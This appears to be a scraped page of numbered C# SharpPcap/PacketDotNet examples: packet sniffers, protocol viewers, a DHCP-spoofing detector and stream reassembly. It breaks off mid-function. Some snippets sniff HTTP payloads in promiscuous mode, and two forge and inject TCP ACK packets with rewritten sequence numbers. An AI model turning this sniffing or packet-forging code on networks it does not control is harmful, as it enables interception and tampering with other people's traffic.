static void Program_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
            // получение только TCP пакета из всего фрейма
            var tcpPacket = TcpPacket.GetEncapsulated(packet);
            // получение только IP пакета из всего фрейма
            var ipPacket = IpPacket.GetEncapsulated(packet);

            if (tcpPacket != null && ipPacket != null)
            {
                // IP адрес получателя
                var dstIp = ipPacket.DestinationAddress.ToString();
                // порт отправителя
                var srcPort = tcpPacket.SourcePort.ToString();
                dataPacket = tcpPacket.ParentPacket.ToString();

                if (dataPacket != null)
                {
                    foreach (var port in buff)
                    {
                        if (srcPort == port)
                        {
                            Int32.TryParse(portOfProces, out portForBloc);
                            packageDetected = true;
                        }
                    }
                }
            }
        }
Beispiel #2
0
        public void ScanDhcp(CaptureEventArgs e, string Interface)
        {
            var mypacket = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
            var udp      = (UdpPacket)mypacket.Extract(typeof(UdpPacket));

            if (udp != null)
            {
                if (udp.DestinationPort == 68)
                {
                    var       DestinationHwAddress = EthernetPacket.GetEncapsulated(mypacket).DestinationHwAddress;
                    var       SourceHwAddress      = EthernetPacket.GetEncapsulated(mypacket).SourceHwAddress;
                    var       DestinationipAddress = IpPacket.GetEncapsulated(mypacket).DestinationAddress;
                    var       SourceipAddress      = IpPacket.GetEncapsulated(mypacket).SourceAddress;
                    ado       a  = new ado();
                    DataTable dt = a.selectmac(SourceHwAddress.ToString(), Interface);
                    // if mac address of router excist that mean he is router
                    if (dt.Rows.Count > 0)
                    {
                        Attack = false;
                    }
                    else
                    {
                        Attack         = true;
                        Attack_data[0] = "DHCP spofing";
                        Attack_data[1] = SourceipAddress.ToString();
                        Attack_data[2] = SourceHwAddress.ToString();
                        Attack_data[3] = DateTime.Now.ToShortTimeString();
                    }
                }
            }
        }
Beispiel #3
0
        /// <summary>
        /// 通过PacketDotNet类库实现
        /// </summary>
        /// <param name="ppp"></param>
        private void PPP(PacketDotNet.PPPPacket ppp)
        {
            if (PPPNode == null)
            {
                PPPNode = CreatNode("PPP", 10);
            }
            PPPNode.Text = "PPP [0x" + ((ushort)ppp.Protocol).ToString("X4") + "]";
            PPPNode.Nodes.Clear();

            PPPNode.Nodes.Add("Protocol: " + ppp.Protocol.ToString() + " [0x" + ppp.Protocol.ToString("X") + "]");

            Tree.Nodes.Add(PPPNode);

            switch (ppp.Protocol)
            {
            case PPPProtocol.IPv4:
            case PPPProtocol.IPv6:
                IpPacket ip = IpPacket.GetEncapsulated(packet);
                IP(ip);
                break;

            case PPPProtocol.LCP:
                LCPPacket lcp = LCPPacket.GetEncapsulated(packet);
                LCP(lcp);
                break;

            case PPPProtocol.CompressedDatagram:
                ExtraData(ppp.PayloadData);
                return;

            case PPPProtocol.Padding:    //填充
                break;
            }
        }
        /// <summary>
        /// Prints the time and length of each received packet
        /// </summary>
        private static void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            DateTime time = e.Packet.Timeval.Date;
            int      len  = e.Packet.Data.Length;
            //Console.WriteLine("{0}:{1}:{2},{3} Len={4}",
            //  time.Hour, time.Minute, time.Second, time.Millisecond, len);



            //// open the output file
            //string s = "cap.txt";
            //var captureFileWriter = new CaptureFileWriterDevice(e.Device, s);
            //// write the packet to the file
            //captureFileWriter.Write(e.Packet);
            //Console.WriteLine("Packet dumped to file.");

            var    packet   = PacketDotNet.Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data); //Raw基础包对象
            var    ipPacket = IpPacket.GetEncapsulated(packet);
            string srcIp    = ipPacket.SourceAddress.ToString();
            string dstIp    = ipPacket.DestinationAddress.ToString();

            if (ipPacket.Protocol == IPProtocolType.TCP)
            {
                Console.WriteLine(ipPacket.Protocol.ToString());
                var    tcpPacket = (TcpPacket)ipPacket.Extract(typeof(TcpPacket));
                string srcport   = tcpPacket.SourcePort.ToString();
                string dstPort   = tcpPacket.DestinationPort.ToString();
                //if(srcIp == "192.168.1.108")
                Console.WriteLine(srcIp + ":" + srcport + "\t>\t" + dstIp + ":" + dstPort);
            }
        }
Beispiel #5
0
        static void localAreaNetworkNIC_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            //DateTime time = e.Packet.Timeval.Date;
            //int len = e.Packet.Data.Length;
            //string content = ByteArrayToString(e.Packet.Data);
            //Console.WriteLine("{0}:{1}:{2},{3} Len={4}: {5}",
            //    time.Hour, time.Minute, time.Second, time.Millisecond, len, content);

            var packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);

            if (e.Packet.LinkLayerType == LinkLayers.Ethernet)
            {
                EthernetPacket  ethernetPacket = (EthernetPacket)packet;
                PhysicalAddress destMacAddress = ethernetPacket.DestinationHwAddress;
                PhysicalAddress srcMacAddress  = ethernetPacket.SourceHwAddress;
                //Console.WriteLine("Mac: {0} -> {1}", srcMacAddress, destMacAddress);
            }

            IpPacket ipPacket = IpPacket.GetEncapsulated(packet);

            if (ipPacket != null)
            {
                IPAddress srcIpAddress  = ipPacket.SourceAddress;
                IPAddress destIpAddress = ipPacket.DestinationAddress;
                //Console.WriteLine("IP: {0} -> {1}", srcIpAddress, destIpAddress);

                TcpPacket tcpPacket = TcpPacket.GetEncapsulated(packet);
                if (tcpPacket != null)
                {
                    int srcPort  = tcpPacket.SourcePort;
                    int destPort = tcpPacket.DestinationPort;
                    //Console.WriteLine("TCP Port: {0} -> {1}", srcPort, destPort);

                    byte[] tcpBody      = RipHeader(tcpPacket.Bytes, tcpPacket.Header);
                    string packetString = ByteArrayToString(tcpBody);
                    if (packetString.Contains("HTTP"))
                    {
                        Console.WriteLine("IP: {0} -> {1}", srcIpAddress, destIpAddress);
                        Console.WriteLine("TCP Port: {0} -> {1}", srcPort, destPort);
                        Console.WriteLine(ByteArrayToString(tcpBody));
                    }
                }



                //UdpPacket udpPacket = UdpPacket.GetEncapsulated(packet);
                //if (udpPacket != null)
                //{
                //    int srcPort = udpPacket.SourcePort;
                //    int destPort = udpPacket.DestinationPort;
                //    Console.WriteLine("UDP Port: {0} -> {1}", srcPort, destPort);
                //}
            }

            //string packetString = PacketString(packet);

            //Console.WriteLine(packetString);
            //Console.WriteLine();
        }
Beispiel #6
0
        static void Program_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            //TimeSpan ts = stopwatch.Elapsed;
            try {
                if (TimeSpan.Parse(stopwatch.Elapsed.ToString()).TotalSeconds >= 10)
                {
                    //ts = TimeSpan.Zero;
                    //stopwatch.Stop();
                    stopwatch.Reset();
                    //Ports.Clear();
                    Process process = Process.GetProcessById(Process.GetProcessesByName("viber")[0].Id);
                    process.Kill();
                    captureDevice.StopCapture();
                    //Thread.Sleep(5000);
                    System.Diagnostics.Process MyProc = new System.Diagnostics.Process();
                    MyProc.StartInfo.FileName = @"C:\Users\pna\AppData\Local\Viber\Viber.exe";
                    MyProc.Start();
                    Start();
                }
            }
            catch { }
            // парсинг всего пакета
            Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
            // получение только TCP пакета из всего фрейма
            var tcpPacket = TcpPacket.GetEncapsulated(packet);
            // получение только IP пакета из всего фрейма
            var ipPacket = IpPacket.GetEncapsulated(packet);

            if (tcpPacket != null && ipPacket != null)
            {
                //DateTime time = e.Packet.Timeval.Date;
                //int len = e.Packet.Data.Length;

                //// IP адрес отправителя
                //var srcIp = ipPacket.SourceAddress.ToString();
                //// IP адрес получателя
                //var dstIp = ipPacket.DestinationAddress.ToString();

                //// порт отправителя
                //var srcPort = tcpPacket.SourcePort.ToString();
                //// порт получателя
                //var dstPort = tcpPacket.DestinationPort.ToString();
                //// данные пакета
                //var data = tcpPacket.PayloadPacket;
                //tcpPacket.DestinationPort.ToString()
                if (Ports.Any(x => x.num_port.Contains(tcpPacket.DestinationPort.ToString())))
                {
                    if (ipPacket.DestinationAddress.ToString() == "192.168.1.28")
                    {
                        stopwatch.Restart();
                        //stopwatch.Start();
                        Console.WriteLine("{0}({1}) {2} - {3}", i++, DateTime.Now.ToString(), tcpPacket.DestinationPort.ToString(), e.Packet.Data.Length);
                        //if (total_min >= 45) {

                        //}
                    }
                }
            }
        }
Beispiel #7
0
        static void Main()
        {
            CaptureDeviceList deviceList = CaptureDeviceList.Instance;

            foreach (ICaptureDevice dev in deviceList)
            {
                Console.WriteLine("{0}\n", dev.ToString());
            }
            ICaptureDevice device = deviceList[3];

            device.Open(DeviceMode.Promiscuous, 1000);

            Console.WriteLine();
            Console.WriteLine("-- Listening on {0}...", device.Description);

            Packet packet = null;

            while (true)
            {
                RawCapture raw = device.GetNextPacket();
                while (raw == null)
                {
                    raw = device.GetNextPacket();
                }
                packet = Packet.ParsePacket(raw.LinkLayerType, raw.Data);
                var tcpPacket = TcpPacket.GetEncapsulated(packet);
                var ipPacket  = IpPacket.GetEncapsulated(packet);
                if (tcpPacket != null && ipPacket != null)
                {
                    DateTime time = raw.Timeval.Date;
                    int      len  = raw.Data.Length;
                    Console.WriteLine("{0}:{1}:{2},{3} Len={4}",
                                      time.Hour, time.Minute, time.Second,
                                      time.Millisecond, len);
                    //Console.WriteLine(e.Packet.ToString());
                    // IP адрес отправителя
                    var srcIp = ipPacket.SourceAddress.ToString();
                    //Console.WriteLine("srcIp="+ srcIp);
                    // IP адрес получателя
                    var dstIp = ipPacket.DestinationAddress.ToString();
                    //Console.WriteLine("dstIp=" + dstIp);
                    // порт отправителя
                    var srcPort = tcpPacket.SourcePort.ToString();
                    //Console.WriteLine("srcPort=" + srcPort);
                    // порт получателя
                    var dstPort = tcpPacket.DestinationPort.ToString();
                    //Console.WriteLine("dstPost=" + dstPort);
                    // данные пакета
                    var data = BitConverter.ToString(raw.Data);
                    //Console.WriteLine("data=" + data);
                    string sendNTP = srcIp.ToString() + " " + dstIp.ToString() + " " + srcPort.ToString() + " " + dstPort.ToString() + "\r\n" + data.ToString() + "\r\n";
                    Console.WriteLine(sendNTP);
                }
            }
            // Закрываем pcap устройство
            //device.Close();
            //Console.WriteLine(" -- Capture stopped, device closed.");
        }
Beispiel #8
0
        /// <summary>
        /// Prints the source and dest IP and MAC addresses of each received Ethernet frame
        /// </summary>
        private static void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            checksum = "";
            TcpPacket tcp;
            UdpPacket udp;

            if (e.Packet.LinkLayerType == PacketDotNet.LinkLayers.Ethernet)
            {
                var packet = PacketDotNet.Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);

                if ((PacketDotNet.EthernetPacket)packet != null)
                {
                    var ethernetPacket = (PacketDotNet.EthernetPacket)packet;
                    if (TcpPacket.GetEncapsulated(packet) != null)
                    {
                        tcp      = TcpPacket.GetEncapsulated(packet);
                        checksum = tcp.Checksum.ToString();
                    }
                    else if (UdpPacket.GetEncapsulated(packet) != null)
                    {
                        udp      = UdpPacket.GetEncapsulated(packet);
                        checksum = udp.Checksum.ToString();
                    }

                    if (IpPacket.GetEncapsulated(packet) != null)
                    {
                        var ipPacket = IpPacket.GetEncapsulated(packet);

                        _listview.Items.Add(new MyPacket
                        {
                            Id        = packetIndex,
                            Time      = e.Packet.Timeval.Date.ToString() + "." + e.Packet.Timeval.MicroSeconds.ToString(),
                            SourceIP  = ipPacket.SourceAddress.ToString(),
                            DestIP    = ipPacket.DestinationAddress.ToString(),
                            SourceMac = ethernetPacket.SourceHwAddress.ToString(),
                            DestMac   = ethernetPacket.DestinationHwAddress.ToString(),
                            Checksum  = checksum,
                            Length    = packet.Bytes.Length
                        });
                        packets.Add(new MyPacket
                        {
                            Id        = packetIndex,
                            Time      = e.Packet.Timeval.Date.ToString(),
                            SourceIP  = ipPacket.SourceAddress.MapToIPv4().ToString(),
                            DestIP    = ipPacket.DestinationAddress.MapToIPv4().ToString(),
                            SourceMac = ethernetPacket.SourceHwAddress.ToString(),
                            DestMac   = ethernetPacket.DestinationHwAddress.ToString(),
                            Checksum  = checksum,
                            Length    = packet.Bytes.Length
                        });
                        packetIndex++;
                    }
                }
            }
        }
Beispiel #9
0
 public PacketDetials(Packet packet)
 {
     this.packet    = packet;
     ethernetPacket = EthernetPacket.GetEncapsulated(packet);
     if (ethernetPacket != null)
     {
         typeName = "Ethernet";
     }
     ipPacket = IpPacket.GetEncapsulated(packet);
     if (ipPacket != null)
     {
         typeName = "Ip";
     }
     arpPacket = ARPPacket.GetEncapsulated(packet);
     if (arpPacket != null)
     {
         typeName = "ARP";
     }
     icmpv4Packet = ICMPv4Packet.GetEncapsulated(packet);
     if (icmpv4Packet != null)
     {
         typeName = "ICMPv4";
     }
     icmpv6Packet = ICMPv6Packet.GetEncapsulated(packet);
     if (icmpv6Packet != null)
     {
         typeName = "ICMPv6";
     }
     igmpv2Packet = IGMPv2Packet.GetEncapsulated(packet);
     if (igmpv2Packet != null)
     {
         typeName = "IGMPv2";
     }
     pppoePacket = PPPoEPacket.GetEncapsulated(packet);
     if (pppoePacket != null)
     {
         typeName = "PPPoE";
     }
     pppPacket = PPPPacket.GetEncapsulated(packet);
     if (pppPacket != null)
     {
         typeName = "PPP";
     }
     tcpPacket = TcpPacket.GetEncapsulated(packet);
     if (tcpPacket != null)
     {
         typeName = "TCP";
     }
     udpPacket = UdpPacket.GetEncapsulated(packet);
     if (udpPacket != null)
     {
         typeName = "UDP";
     }
 }
Beispiel #10
0
        /// <summary>
        /// 以太网
        /// </summary>
        /// <param name="packet"></param>
        private void Ethernet(Packet packet)
        {
            EthernetPacket e = EthernetPacket.GetEncapsulated(packet);

            if (EthernetNode == null)
            {
                EthernetNode                    = new TreeNode("EthernetII");
                EthernetNode.Name               = "Ethernet";
                EthernetNode.ImageIndex         = 0;
                EthernetNode.SelectedImageIndex = 0;
            }
            EthernetNode.Nodes.Clear();

            EthernetNode.Nodes.Add("Destination: " + Format.MacFormat(e.DestinationHwAddress.ToString()));
            EthernetNode.Nodes.Add("Source: " + Format.MacFormat(e.SourceHwAddress.ToString()));
            EthernetNode.Nodes.Add("Type: " + e.Type.ToString() + " [0x" + e.Type.ToString("X") + "]");
            Tree.Nodes.Add(EthernetNode);

            switch (e.Type)
            {
            case EthernetPacketType.Arp:    //ARP协议
                ARPPacket arp = ARPPacket.GetEncapsulated(packet);
                Arp(arp);
                break;

            case EthernetPacketType.IpV4:    //IP协议
            case EthernetPacketType.IpV6:
                IpPacket ip = IpPacket.GetEncapsulated(packet);
                IP(ip);
                break;

            case EthernetPacketType.WakeOnLan:    //网络唤醒协议
                WakeOnLanPacket wake = WakeOnLanPacket.GetEncapsulated(packet);
                Wake_on_Lan(wake);
                break;

            case EthernetPacketType.LLDP:    //链路层发现协议
                LLDPPacket ll = LLDPPacket.GetEncapsulated(packet);
                LLDPProtocol(ll);
                break;

            case EthernetPacketType.PointToPointProtocolOverEthernetDiscoveryStage:
            case EthernetPacketType.PPPoE:
                PPPoEPacket pppoe = PPPoEPacket.GetEncapsulated(packet);
                PPPOE(pppoe);
                break;

            case EthernetPacketType.None:    //无可用协议
            default:
                PayLoadData = e.PayloadData;
                break;
            }
        }
Beispiel #11
0
        void Program_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            PacketArrivalEventHandler empty = null;
            // парсинг всего пакета
            Packet packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
            // получение только IP пакета из всего фрейма
            var ipPacket  = IpPacket.GetEncapsulated(packet);
            var tcpPacket = TcpPacket.GetEncapsulated(packet);

            if (ipPacket != null)
            {
                DateTime time = e.Packet.Timeval.Date;
                int      len  = e.Packet.Data.Length;
                // IP адрес отправителя
                var srcIp = ipPacket.SourceAddress.ToString();
                // IP адрес получателя
                var dstIp = ipPacket.DestinationAddress.ToString();
                dstIps.Add(dstIp);
                //MessageBoxButtons buttons = MessageBoxButtons.YesNo;
                //var result = MessageBox.Show("Отправитель - " + srcIp + "\n" + "Адресат - " + dstIp, "Package is detected!");
                if (srcIp.Substring(0, 3) == "192")
                {
                    ip = srcIp;
                }

                if (dstIp.Substring(0, 3) == "192")
                {
                    ip = dstIp;
                }

                if (srcIp == textBox2.Text || dstIp == textBox2.Text)
                {
                    detected = true;
                }

                string port = "";
                if (tcpPacket != null)
                {
                    port = tcpPacket.SourcePort.ToString();
                }

                if (detected)
                {
                    //listBox2.Items.Add("Отправитель - " + srcIp + "; Адресат - " + dstIp + ";");
                    packagesInfo += "Отправитель - " + srcIp + "; Адресат - " + dstIp + ";" + " Порт: " + port + ";" + Environment.NewLine;
                    detectedOnce  = true;
                }
            }
        }
Beispiel #12
0
        public PacketWrapper2(RawCapture rawCapture)
        {
            rawPacket = rawCapture;
            Packet packet = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data);

            ipPacket  = IpPacket.GetEncapsulated(packet);
            tcpPacket = TcpPacket.GetEncapsulated(packet);

            Count = ++CaptureForm.packetCount;
            if (ipPacket.SourceAddress.Equals(CaptureForm.MyIp))
            {
                MyPort      = tcpPacket.SourcePort;
                Destination = "sent";
            }
            else
            {
                MyPort      = tcpPacket.DestinationPort;
                Destination = "received";
            }

            Flags = "[";
            if (tcpPacket.Syn)
            {
                Flags += "SYN";
            }
            else if (tcpPacket.Psh)
            {
                Flags += "PSH";
            }
            else if (tcpPacket.Fin)
            {
                Flags += "FIN";
            }
            if (tcpPacket.Ack)
            {
                if (Flags.Length > 1)
                {
                    Flags += ",";
                }
                Flags += "ACK";
            }
            Flags += "]";

            Sequence       = tcpPacket.SequenceNumber;
            Acknowledgment = tcpPacket.AcknowledgmentNumber;
            Len            = tcpPacket.PayloadData.Length;
            Time           = rawCapture.Timeval.MicroSeconds;
            Msg            = Encoding.ASCII.GetString(tcpPacket.PayloadData);
        }
Beispiel #13
0
        private static void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            //Packet packets = PacketDotNet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data);
            //var ipPacket = (TcpPacket)e.Packet.Extract(typeof(IpPacket)) as IpPacket;

            Packet packet   = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
            var    ipPacket = IpPacket.GetEncapsulated(packet);
            string srcIp    = ipPacket.SourceAddress.ToString();
            string dstIp    = ipPacket.DestinationAddress.ToString();

            DateTime time = e.Packet.Timeval.Date;
            int      len  = e.Packet.Data.Length;

            Console.WriteLine("Time is {0}:{1}:{2},{3} Len={4}, srcIP={5}, dstIP={6}",
                              time.Hour, time.Minute, time.Second, time.Millisecond, len, srcIp, dstIp);
        }
Beispiel #14
0
        /// <summary>
        /// GRE封装的下层协议
        /// </summary>
        /// <param name="data"></param>
        /// <param name="e"></param>
        private void NextGRE(byte[] data, EthernetProtocolType e)
        {
            if (data.Length <= 0)
            {
                return;
            }
            switch (e)
            {
            case EthernetProtocolType.PPP:
                var ppp = new TwzyProtocol.PPPPacket(data);
                if (ppp != null)
                {
                    PPP(ppp);
                }
                break;

            case EthernetProtocolType.Arp:    //ARP协议
                ARPPacket arp = ARPPacket.GetEncapsulated(packet);
                Arp(arp);
                break;

            case EthernetProtocolType.IpV4:    //IP协议
            case EthernetProtocolType.IpV6:
                IpPacket ip = IpPacket.GetEncapsulated(packet);
                IP(ip);
                break;

            case EthernetProtocolType.WakeOnLan:    //网络唤醒协议
                WakeOnLanPacket wake = WakeOnLanPacket.GetEncapsulated(packet);
                Wake_on_Lan(wake);
                break;

            case EthernetProtocolType.LLDP:    //链路层发现协议
                LLDPPacket ll = LLDPPacket.GetEncapsulated(packet);
                LLDPProtocol(ll);
                break;

            case EthernetProtocolType.PointToPointProtocolOverEthernetDiscoveryStage:
            case EthernetProtocolType.PPPoE:
                PPPoEPacket pppoe = PPPoEPacket.GetEncapsulated(packet);
                PPPOE(pppoe);
                break;

            case EthernetProtocolType.None:    //无可用协议
                break;
            }
        }
Beispiel #15
0
        /// <summary>
        /// The main function of the class receives a tcp packet and reconstructs the stream
        /// </summary>
        /// <param name="tcpPacket"></param>
        public void ReassemblePacket(RawCapture rawCapture)
        {
            this.RawCapture = rawCapture;
            Packet packet = Packet.ParsePacket(rawCapture.LinkLayerType, rawCapture.Data);

            this.IpPacket  = IpPacket.GetEncapsulated(packet);
            this.TcpPacket = TcpPacket.GetEncapsulated(packet);
            // if the paylod length is zero bail out
            //ulong length = (ulong)(tcpPacket.TCPPacketByteLength - tcpPacket.TCPHeaderLength);
            ulong length = (ulong)(this.TcpPacket.Bytes.Length - this.TcpPacket.Header.Length);

            if (length == 0)
            {
                return;
            }
            reassemble_tcp(length);
        }
Beispiel #16
0
        static void scanUDP(CaptureEventArgs e, int port, string cm)
        {
            var _packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
            var udp     = (UdpPacket)_packet.Extract(typeof(UdpPacket));

            if (udp != null)
            {
                if (udp.DestinationPort == port)
                {
                    var dst_ip = IpPacket.GetEncapsulated(_packet).DestinationAddress.ToString();
                    var src_ip = IpPacket.GetEncapsulated(_packet).SourceAddress.ToString();
                    Console.WriteLine("********************************************************************");
                    Console.WriteLine(cm + " {0}", port.ToString());
                    Console.WriteLine("Source: {0} " + "Destination: {1}", src_ip, dst_ip);
                }
            }
        }
Beispiel #17
0
        // Get DNS response and parse fields with https://github.com/kapetan/dns/tree/master/DNS
        private void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            var packet = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
            var udp    = (UdpPacket)packet.Extract(typeof(UdpPacket));

            if (udp == null)
            {
                return;
            }
            var payload  = udp.PayloadData;
            var response = Response.FromArray(payload);

            if (response.AnswerRecords.Count <= 0)
            {
                return;
            }
            var p = IpPacket.GetEncapsulated(packet);

            var childThread = new Thread(() => UpdateListView(response, p.SourceAddress.ToString()));

            childThread.Start();
        }
Beispiel #18
0
        private void packetArrival(object sender, CaptureEventArgs e)
        {
            Packet    p  = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
            IpPacket  ip = IpPacket.GetEncapsulated(p);
            TcpPacket tp = TcpPacket.GetEncapsulated(p);
            UdpPacket up = UdpPacket.GetEncapsulated(p);

            if (ip != null)
            {
                if (tp != null)
                {
                    listView.Items.Add(new ListViewItem(new String[] { e.Packet.Timeval.Date.Year + "/" + e.Packet.Timeval.Date.Month + "/" + e.Packet.Timeval.Date.Day + " " + (e.Packet.Timeval.Date.Hour + 8) + ":" + e.Packet.Timeval.Date.Minute + ":" + e.Packet.Timeval.Date.Second + ":" + e.Packet.Timeval.Date.Millisecond, "TCP", ip.SourceAddress.ToString() + ":" + tp.SourcePort.ToString(), ip.DestinationAddress.ToString() + ":" + tp.DestinationPort.ToString(), e.Packet.Data.Length.ToString() }));
                    datas.Add(BitConverter.ToString(e.Packet.Data));
                }
                else if (up != null)
                {
                    listView.Items.Add(new ListViewItem(new String[] { e.Packet.Timeval.Date.Year + "/" + e.Packet.Timeval.Date.Month + "/" + e.Packet.Timeval.Date.Day + " " + (e.Packet.Timeval.Date.Hour + 8) + ":" + e.Packet.Timeval.Date.Minute + ":" + e.Packet.Timeval.Date.Second + ":" + e.Packet.Timeval.Date.Millisecond, "UDP", ip.SourceAddress.ToString() + ":" + up.SourcePort.ToString(), ip.DestinationAddress.ToString() + ":" + up.DestinationPort.ToString(), e.Packet.Data.Length.ToString() }));
                    datas.Add(BitConverter.ToString(e.Packet.Data));
                }
            }
            totalPacketLength += e.Packet.Data.Length;
            totalPacketNum++;
            statusLabel.Text = "共收到" + totalPacketNum + "个数据包,总长度" + totalPacketLength;
        }
Beispiel #19
0
        void device_OnPacketArrival(object sender, CaptureEventArgs e)
        {
            var Now      = DateTime.Now; // cache 'DateTime.Now' for minor reduction in cpu overhead
            var interval = Now - _lastStatisticsOutput;

            if (interval > _lastStatisticsInterval)
            {
                //Console.WriteLine("device_OnPacketArrival: " + e.Device.Statistics);
                _captureStatistics       = e.Device.Statistics;
                _statisticsUiNeedsUpdate = true;
                _lastStatisticsOutput    = Now;
            }

            if (CaptureForm._pshPacket != null && _iRecvPackets <= RECEIVING_PACKED_EXPECTED)
            {
                Packet    p   = Packet.ParsePacket(e.Packet.LinkLayerType, e.Packet.Data);
                TcpPacket tcp = TcpPacket.GetEncapsulated(p);
                if (tcp.Psh && tcp.SourcePort == TARGET_PORT && tcp.PayloadData.Length > 0)
                {
                    IPv4Packet ip         = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._pshPacket);
                    IPv4Packet lastAckIp  = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._lastAckPacket);
                    TcpPacket  lastAckTcp = TcpPacket.GetEncapsulated(CaptureForm._lastAckPacket);
                    lastAckIp.Id = (ushort)(ip.Id + 10);
                    lastAckIp.UpdateIPChecksum();
                    lastAckTcp.SequenceNumber       = tcp.AcknowledgmentNumber;
                    lastAckTcp.AcknowledgmentNumber = (uint)(tcp.SequenceNumber + tcp.PayloadData.Length);
                    lastAckTcp.UpdateTCPChecksum();
                    _device.SendPacket(CaptureForm._lastAckPacket);
                    CaptureForm._pshPacket = CaptureForm._lastAckPacket;
                    _iRecvPackets++;
                }
            }

            lock (_queueLock)
                _packetQueue.Add(e.Packet);
        }
Beispiel #20
0
        private void PPPS(PppSerialPacket ppps)
        {
            if (PPPSNode == null)
            {
                PPPSNode      = new TreeNode("PPP");
                PPPSNode.Name = "PPPSerial";
                PPPSNode.SelectedImageIndex = 0;
                PPPSNode.ImageIndex         = 0;
            }
            PPPSNode.Nodes.Clear();

            PPPSNode.Nodes.Add("Address: 0x" + ppps.Address.ToString("X2"));
            PPPSNode.Nodes.Add("Control: 0x" + ppps.Control.ToString("X2"));
            PPPSNode.Nodes.Add("Protocol: " + ppps.Protocol.ToString() + " [0x" + ppps.Protocol.ToString("X") + "]");
            Tree.Nodes.Add(PPPSNode);


            switch (ppps.Protocol)
            {
            case PPPProtocol.IPv4:
            case PPPProtocol.IPv6:
                IpPacket ip = IpPacket.GetEncapsulated(packet);
                IP(ip);
                break;

            case PPPProtocol.LCP:
                LCPPacket lcp = LCPPacket.GetEncapsulated(packet);
                LCP(lcp);
                break;

            case PPPProtocol.Padding: //填充
            case PPPProtocol.CDP:     //Csico 发现协议

                break;
            }
        }
Beispiel #21
0
        /// <summary>
        /// 核心: 解析报文
        /// </summary>
        /// <param name="rawPacket"></param>
        private void handlePacket(RawCapture rawPacket)
        {
            try {
                // 构建通用数据包
                Packet generalPacket = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data);
                // 只要以太网包
                if (rawPacket.LinkLayerType == LinkLayers.Ethernet)
                {
                    // 封装以太网包
                    EthernetPacket e = EthernetPacket.GetEncapsulated(generalPacket);
                    // 只要IPV4
                    if (e.Type == EthernetPacketType.IpV4)
                    {
                        IPv4Packet ipv4 = (IPv4Packet)IpPacket.GetEncapsulated(generalPacket);
                        // 只要TCP包
                        if (ipv4.NextHeader == IPProtocolType.TCP)
                        {
                            // 将通用数据包封装为TCP包
                            TcpPacket tcp = TcpPacket.GetEncapsulated(generalPacket);

                            byte[] tmp = tcp.PayloadData;// 数据
                            if (tmp != null && tmp.Length > 4)
                            {
                                // 处理粘包
                                int i = 0;
                                do
                                {
                                    int len = -1;
                                    if (i + 4 > tmp.Length)
                                    {
                                        //len = 1;
                                        break;
                                    }
                                    else if (tmp[i] == 0xC1)
                                    {
                                        len = tmp[i + 1];
                                        // C1 0D包长度必须大于13
                                        if (tmp[i + 2] == 0x0D && len >= 13)
                                        {
                                            // 0D包第3字节后有10字节0x00 直接跳过
                                            // 这10字节应该是发送者名字, 服务器消息则没有
                                            byte[] msg = new byte[len - 13];
                                            Buffer.BlockCopy(tmp, i + 13, msg, 0, msg.Length);
                                            string text = Encoding.Default.GetString(msg).Split('\0')[0];
                                            // 处理获取到的服务器消息
                                            MessageDone?.Invoke(this, text);
                                        }
                                    }
                                    else if (tmp[i] == 0xC2 || tmp[i] == 0xC4)
                                    {
                                        // TODO: 这里有个半包异常 懒得处理了
                                        // C2和C4 第2-3字节规定了长度
                                        len = tmp[i + 1] << 8 | tmp[i + 2];
                                    }
                                    else if (tmp[i] == 0xC3)
                                    {
                                        // C1和C3 第2字节规定了长度
                                        len = tmp[i + 1];
                                    }
                                    else
                                    {
                                        len = 1;
                                    }
                                    // 防止半包或网络不稳收到C100 造成死循环
                                    if (len == 0)
                                    {
                                        len = 1;
                                    }
                                    i += len;// 跳过len字节
                                } while (i < tmp.Length);
                            }
                        }
                    }
                }
            } catch (Exception e) {
            }
        }
Beispiel #22
0
        private void tsb3Send_Click(object sender, EventArgs e)
        {
            bool       isAckLast = false;
            int        iSyncHandshake = 0;
            ushort     pshPort = 0;
            IPv4Packet ip, lastAckIp;
            RawCapture lastAckRaw, pshRaw;
            TcpPacket  lastAckTcp, tcp;

            lastAckRaw = pshRaw = null;
            foreach (PacketWrapper2 pw2a in bs)
            {
                tcp = pw2a.tcpPacket;
                if (tcp.Psh && tcp.DestinationPort == TARGET_PORT && pw2a.Msg.Length > 0)
                {
                    pshPort = tcp.SourcePort;
                    pshRaw  = pw2a.rawPacket;
                    break;
                }
            }
            if (pshPort == 0)
            {
                MessageBox.Show("Wait for PSH packet to be sent !");
                return;
            }

            CaptureForm._pshPacket = Packet.ParsePacket(pshRaw.LinkLayerType, pshRaw.Data);
            foreach (PacketWrapper2 pw2b in bs)
            {
                tcp = pw2b.tcpPacket;
                if (tcp.SourcePort != pshPort && tcp.DestinationPort != pshPort)
                {
                    continue;
                }
                isAckLast = false;
                if (tcp.Syn)
                {
                    iSyncHandshake++;
                }
                //else if (tcp.Psh && tcp.SourcePort == TARGET_PORT) pshRaw = pw2b.rawPacket;
                else if (tcp.Ack && tcp.DestinationPort == TARGET_PORT && !tcp.Fin && !tcp.Psh)
                {
                    lastAckRaw = pw2b.rawPacket;
                    isAckLast  = true;
